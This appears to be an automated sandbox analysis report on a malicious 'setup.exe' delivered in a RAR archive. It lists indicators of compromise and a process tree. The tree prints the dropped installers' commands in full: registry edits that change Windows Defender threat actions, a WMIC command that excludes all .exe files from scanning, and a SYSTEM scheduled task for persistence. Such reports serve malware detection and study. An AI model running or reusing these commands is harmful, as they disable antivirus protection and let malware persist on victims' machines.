ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 19000000010000001000000068cb42b035ea773e52ef50ecf50ec529030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47409000000010000000c000000300a06082b060105050703011d0000000100000010000000918ad43a9475f78bb5243de886d8103c140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c00b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f00740000000f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f20000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	setup.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

vlc.exe

pid process

3020 vlc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

taskmgr.exe

pid	process
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

vlc.exetaskmgr.exe

pid process

3020 vlc.exe
1736 taskmgr.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

460

pid	process
460

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

taskmgr.exe7zG.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exesvchost.exeQsEZf7p3mqmJQ7IoFER23P5U.exepowershell.exepowershell.exeWMIC.exepowershell.exepowershell.exeWMIC.exepowershell.EXEpowershell.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	1736	taskmgr.exe
Token: SeRestorePrivilege	1624	7zG.exe
Token: 35	1624	7zG.exe
Token: SeSecurityPrivilege	1624	7zG.exe
Token: SeSecurityPrivilege	1624	7zG.exe
Token: SeShutdownPrivilege	1616	powercfg.exe
Token: SeShutdownPrivilege	2936	powercfg.exe
Token: SeShutdownPrivilege	924	powercfg.exe
Token: SeShutdownPrivilege	1124	powercfg.exe
Token: SeShutdownPrivilege	2356	powercfg.exe
Token: SeShutdownPrivilege	668	powercfg.exe
Token: SeShutdownPrivilege	2444	powercfg.exe
Token: SeShutdownPrivilege	432	powercfg.exe
Token: SeLockMemoryPrivilege	3020	svchost.exe
Token: SeDebugPrivilege	2976	QsEZf7p3mqmJQ7IoFER23P5U.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeIncreaseQuotaPrivilege	2628	WMIC.exe
Token: SeSecurityPrivilege	2628	WMIC.exe
Token: SeTakeOwnershipPrivilege	2628	WMIC.exe
Token: SeLoadDriverPrivilege	2628	WMIC.exe
Token: SeSystemProfilePrivilege	2628	WMIC.exe
Token: SeSystemtimePrivilege	2628	WMIC.exe
Token: SeProfSingleProcessPrivilege	2628	WMIC.exe
Token: SeIncBasePriorityPrivilege	2628	WMIC.exe
Token: SeCreatePagefilePrivilege	2628	WMIC.exe
Token: SeBackupPrivilege	2628	WMIC.exe
Token: SeRestorePrivilege	2628	WMIC.exe
Token: SeShutdownPrivilege	2628	WMIC.exe
Token: SeDebugPrivilege	2628	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2628	WMIC.exe
Token: SeRemoteShutdownPrivilege	2628	WMIC.exe
Token: SeUndockPrivilege	2628	WMIC.exe
Token: SeManageVolumePrivilege	2628	WMIC.exe
Token: 33	2628	WMIC.exe
Token: 34	2628	WMIC.exe
Token: 35	2628	WMIC.exe
Token: SeDebugPrivilege	3032	powershell.exe
Token: SeDebugPrivilege	2964	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	1944	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1944	WMIC.exe
Token: SeSecurityPrivilege	1944	WMIC.exe
Token: SeTakeOwnershipPrivilege	1944	WMIC.exe
Token: SeLoadDriverPrivilege	1944	WMIC.exe
Token: SeSystemtimePrivilege	1944	WMIC.exe
Token: SeBackupPrivilege	1944	WMIC.exe
Token: SeRestorePrivilege	1944	WMIC.exe
Token: SeShutdownPrivilege	1944	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1944	WMIC.exe
Token: SeUndockPrivilege	1944	WMIC.exe
Token: SeManageVolumePrivilege	1944	WMIC.exe
Token: SeDebugPrivilege	2548	powershell.EXE
Token: SeDebugPrivilege	2712	powershell.exe
Token: SeDebugPrivilege	2112	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2456	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2456	WMIC.exe
Token: SeSecurityPrivilege	2456	WMIC.exe
Token: SeTakeOwnershipPrivilege	2456	WMIC.exe
Token: SeLoadDriverPrivilege	2456	WMIC.exe
Token: SeSystemtimePrivilege	2456	WMIC.exe
Token: SeBackupPrivilege	2456	WMIC.exe
Token: SeRestorePrivilege	2456	WMIC.exe
Token: SeShutdownPrivilege	2456	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2456	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

vlc.exetaskmgr.exe7zG.exe

pid	process
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1624	7zG.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

vlc.exetaskmgr.exe

pid	process
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
3020	vlc.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe
1736	taskmgr.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

vlc.exejNFCat12JprTAJuHReQN2XR8.exefw6AeST27Bm2vlk0DxSBSQX2.exe

pid process

3020 vlc.exe
2272 jNFCat12JprTAJuHReQN2XR8.exe
676 fw6AeST27Bm2vlk0DxSBSQX2.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exerundll32.exerundll32.exesetup.exeDH8573Md6ciWRCrzNsLgNn0N.exeHZCRf2RVpwaPOKWoRBM82pMK.exejNFCat12JprTAJuHReQN2XR8.exe

description	pid	process	target process
PID 2444 wrote to memory of 2620	2444	cmd.exe	rundll32.exe
PID 2444 wrote to memory of 2620	2444	cmd.exe	rundll32.exe
PID 2444 wrote to memory of 2620	2444	cmd.exe	rundll32.exe
PID 2620 wrote to memory of 2604	2620	rundll32.exe	rundll32.exe
PID 2620 wrote to memory of 2604	2620	rundll32.exe	rundll32.exe
PID 2620 wrote to memory of 2604	2620	rundll32.exe	rundll32.exe
PID 2604 wrote to memory of 3020	2604	rundll32.exe	vlc.exe
PID 2604 wrote to memory of 3020	2604	rundll32.exe	vlc.exe
PID 2604 wrote to memory of 3020	2604	rundll32.exe	vlc.exe
PID 2808 wrote to memory of 3052	2808	setup.exe	HZCRf2RVpwaPOKWoRBM82pMK.exe
PID 2808 wrote to memory of 3052	2808	setup.exe	HZCRf2RVpwaPOKWoRBM82pMK.exe
PID 2808 wrote to memory of 3052	2808	setup.exe	HZCRf2RVpwaPOKWoRBM82pMK.exe
PID 2808 wrote to memory of 3052	2808	setup.exe	HZCRf2RVpwaPOKWoRBM82pMK.exe
PID 2808 wrote to memory of 3052	2808	setup.exe	HZCRf2RVpwaPOKWoRBM82pMK.exe
PID 2808 wrote to memory of 3052	2808	setup.exe	HZCRf2RVpwaPOKWoRBM82pMK.exe
PID 2808 wrote to memory of 3052	2808	setup.exe	HZCRf2RVpwaPOKWoRBM82pMK.exe
PID 2808 wrote to memory of 2272	2808	setup.exe	jNFCat12JprTAJuHReQN2XR8.exe
PID 2808 wrote to memory of 2272	2808	setup.exe	jNFCat12JprTAJuHReQN2XR8.exe
PID 2808 wrote to memory of 2272	2808	setup.exe	jNFCat12JprTAJuHReQN2XR8.exe
PID 2808 wrote to memory of 2272	2808	setup.exe	jNFCat12JprTAJuHReQN2XR8.exe
PID 2808 wrote to memory of 2976	2808	setup.exe	QsEZf7p3mqmJQ7IoFER23P5U.exe
PID 2808 wrote to memory of 2976	2808	setup.exe	QsEZf7p3mqmJQ7IoFER23P5U.exe
PID 2808 wrote to memory of 2976	2808	setup.exe	QsEZf7p3mqmJQ7IoFER23P5U.exe
PID 2808 wrote to memory of 2976	2808	setup.exe	QsEZf7p3mqmJQ7IoFER23P5U.exe
PID 2808 wrote to memory of 2176	2808	setup.exe	2Bieq5wNDNkAsJ0rFBlk_AlN.exe
PID 2808 wrote to memory of 2176	2808	setup.exe	2Bieq5wNDNkAsJ0rFBlk_AlN.exe
PID 2808 wrote to memory of 2176	2808	setup.exe	2Bieq5wNDNkAsJ0rFBlk_AlN.exe
PID 2808 wrote to memory of 2176	2808	setup.exe	2Bieq5wNDNkAsJ0rFBlk_AlN.exe
PID 2808 wrote to memory of 2168	2808	setup.exe	Pus3tCSrefwVPztCKhp87ihX.exe
PID 2808 wrote to memory of 2168	2808	setup.exe	Pus3tCSrefwVPztCKhp87ihX.exe
PID 2808 wrote to memory of 2168	2808	setup.exe	Pus3tCSrefwVPztCKhp87ihX.exe
PID 2808 wrote to memory of 676	2808	setup.exe	fw6AeST27Bm2vlk0DxSBSQX2.exe
PID 2808 wrote to memory of 676	2808	setup.exe	fw6AeST27Bm2vlk0DxSBSQX2.exe
PID 2808 wrote to memory of 676	2808	setup.exe	fw6AeST27Bm2vlk0DxSBSQX2.exe
PID 2808 wrote to memory of 676	2808	setup.exe	fw6AeST27Bm2vlk0DxSBSQX2.exe
PID 2808 wrote to memory of 676	2808	setup.exe	fw6AeST27Bm2vlk0DxSBSQX2.exe
PID 2808 wrote to memory of 676	2808	setup.exe	fw6AeST27Bm2vlk0DxSBSQX2.exe
PID 2808 wrote to memory of 676	2808	setup.exe	fw6AeST27Bm2vlk0DxSBSQX2.exe
PID 2808 wrote to memory of 848	2808	setup.exe	DH8573Md6ciWRCrzNsLgNn0N.exe
PID 2808 wrote to memory of 848	2808	setup.exe	DH8573Md6ciWRCrzNsLgNn0N.exe
PID 2808 wrote to memory of 848	2808	setup.exe	DH8573Md6ciWRCrzNsLgNn0N.exe
PID 2808 wrote to memory of 848	2808	setup.exe	DH8573Md6ciWRCrzNsLgNn0N.exe
PID 2808 wrote to memory of 848	2808	setup.exe	DH8573Md6ciWRCrzNsLgNn0N.exe
PID 2808 wrote to memory of 848	2808	setup.exe	DH8573Md6ciWRCrzNsLgNn0N.exe
PID 2808 wrote to memory of 848	2808	setup.exe	DH8573Md6ciWRCrzNsLgNn0N.exe
PID 2808 wrote to memory of 1716	2808	setup.exe	f2hEJNjebYbdDHdjR8ZZyQ9Q.exe
PID 2808 wrote to memory of 1716	2808	setup.exe	f2hEJNjebYbdDHdjR8ZZyQ9Q.exe
PID 2808 wrote to memory of 1716	2808	setup.exe	f2hEJNjebYbdDHdjR8ZZyQ9Q.exe
PID 2808 wrote to memory of 1716	2808	setup.exe	f2hEJNjebYbdDHdjR8ZZyQ9Q.exe
PID 848 wrote to memory of 1036	848	DH8573Md6ciWRCrzNsLgNn0N.exe	DH8573Md6ciWRCrzNsLgNn0N.tmp
PID 848 wrote to memory of 1036	848	DH8573Md6ciWRCrzNsLgNn0N.exe	DH8573Md6ciWRCrzNsLgNn0N.tmp
PID 848 wrote to memory of 1036	848	DH8573Md6ciWRCrzNsLgNn0N.exe	DH8573Md6ciWRCrzNsLgNn0N.tmp
PID 848 wrote to memory of 1036	848	DH8573Md6ciWRCrzNsLgNn0N.exe	DH8573Md6ciWRCrzNsLgNn0N.tmp
PID 848 wrote to memory of 1036	848	DH8573Md6ciWRCrzNsLgNn0N.exe	DH8573Md6ciWRCrzNsLgNn0N.tmp
PID 848 wrote to memory of 1036	848	DH8573Md6ciWRCrzNsLgNn0N.exe	DH8573Md6ciWRCrzNsLgNn0N.tmp
PID 848 wrote to memory of 1036	848	DH8573Md6ciWRCrzNsLgNn0N.exe	DH8573Md6ciWRCrzNsLgNn0N.tmp
PID 3052 wrote to memory of 2868	3052	HZCRf2RVpwaPOKWoRBM82pMK.exe	Install.exe
PID 3052 wrote to memory of 2868	3052	HZCRf2RVpwaPOKWoRBM82pMK.exe	Install.exe
PID 3052 wrote to memory of 2868	3052	HZCRf2RVpwaPOKWoRBM82pMK.exe	Install.exe
PID 3052 wrote to memory of 2868	3052	HZCRf2RVpwaPOKWoRBM82pMK.exe	Install.exe
PID 3052 wrote to memory of 2868	3052	HZCRf2RVpwaPOKWoRBM82pMK.exe	Install.exe
PID 3052 wrote to memory of 2868	3052	HZCRf2RVpwaPOKWoRBM82pMK.exe	Install.exe
PID 3052 wrote to memory of 2868	3052	HZCRf2RVpwaPOKWoRBM82pMK.exe	Install.exe
PID 2272 wrote to memory of 2892	2272	jNFCat12JprTAJuHReQN2XR8.exe	schtasks.exe

outlook_office_path 1 IoCs

Processes:

jNFCat12JprTAJuHReQN2XR8.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jNFCat12JprTAJuHReQN2XR8.exe

outlook_win_path 1 IoCs

Processes:

jNFCat12JprTAJuHReQN2XR8.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	jNFCat12JprTAJuHReQN2XR8.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\file.rar
1⤵
- Suspicious use of WriteProcessMemory
PID:2444

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\file.rar
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2620

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\file.rar
3⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2604

C:\Program Files\VideoLAN\VLC\vlc.exe
"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\file.rar"
4⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:3020

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1736

C:\Windows\system32\verclsid.exe
"C:\Windows\system32\verclsid.exe" /S /C {0B2C9183-C9FA-4C53-AE21-C900B0C39965} /I {0C733A8A-2A1C-11CE-ADE5-00AA0044773D} /X 0x401
1⤵
PID:1432

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\AppData\Local\Temp\file\" -spe -an -ai#7zMap23962:88:7zEvent1601
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1624

C:\Users\Admin\AppData\Local\Temp\file\setup.exe
"C:\Users\Admin\AppData\Local\Temp\file\setup.exe"
1⤵
- Modifies firewall policy service
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2808

C:\Users\Admin\Documents\SimpleAdobe\HZCRf2RVpwaPOKWoRBM82pMK.exe
C:\Users\Admin\Documents\SimpleAdobe\HZCRf2RVpwaPOKWoRBM82pMK.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3052

C:\Users\Admin\AppData\Local\Temp\7zSDBEE.tmp\Install.exe
.\Install.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2868

C:\Users\Admin\AppData\Local\Temp\7zS13CF.tmp\Install.exe
.\Install.exe /hsdidPpAQu "385135" /S
4⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Enumerates system info in registry
PID:592

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
5⤵
PID:1724

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
6⤵
PID:1084

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
7⤵
PID:1976

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
8⤵
PID:2060

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
6⤵
PID:3068

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
7⤵
PID:832

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
8⤵
PID:2700

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
6⤵
PID:2712

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
7⤵
PID:1312

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
8⤵
PID:2184

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
6⤵
PID:2692

C:\Windows\SysWOW64\cmd.exe
/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
7⤵
PID:2628

\??\c:\windows\SysWOW64\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
8⤵
PID:2924

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
6⤵
PID:2752

C:\Windows\SysWOW64\cmd.exe
/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
7⤵
PID:2636

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell start-process -WindowStyle Hidden gpupdate.exe /force
8⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2616

C:\Windows\SysWOW64\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
9⤵
PID:2692

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
5⤵
PID:2092

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
PID:2232

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:1564

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:2628

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bKPbLIPtdWjYWtgKbM" /SC once /ST 20:57:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\WaFDGFyKTXBJSmLcQ\HCRvTsVXhEUoxKl\alRnUJb.exe\" M5 /dNcdidaLlL 385135 /S" /V1 /F
5⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:960

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bKPbLIPtdWjYWtgKbM"
5⤵
PID:604

C:\Windows\SysWOW64\cmd.exe
/C schtasks /run /I /tn bKPbLIPtdWjYWtgKbM
6⤵
PID:2304

\??\c:\windows\SysWOW64\schtasks.exe
schtasks /run /I /tn bKPbLIPtdWjYWtgKbM
7⤵
PID:2808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 592 -s 604
5⤵
- Program crash
PID:2500

C:\Users\Admin\Documents\SimpleAdobe\jNFCat12JprTAJuHReQN2XR8.exe
C:\Users\Admin\Documents\SimpleAdobe\jNFCat12JprTAJuHReQN2XR8.exe
2⤵
- Executes dropped EXE
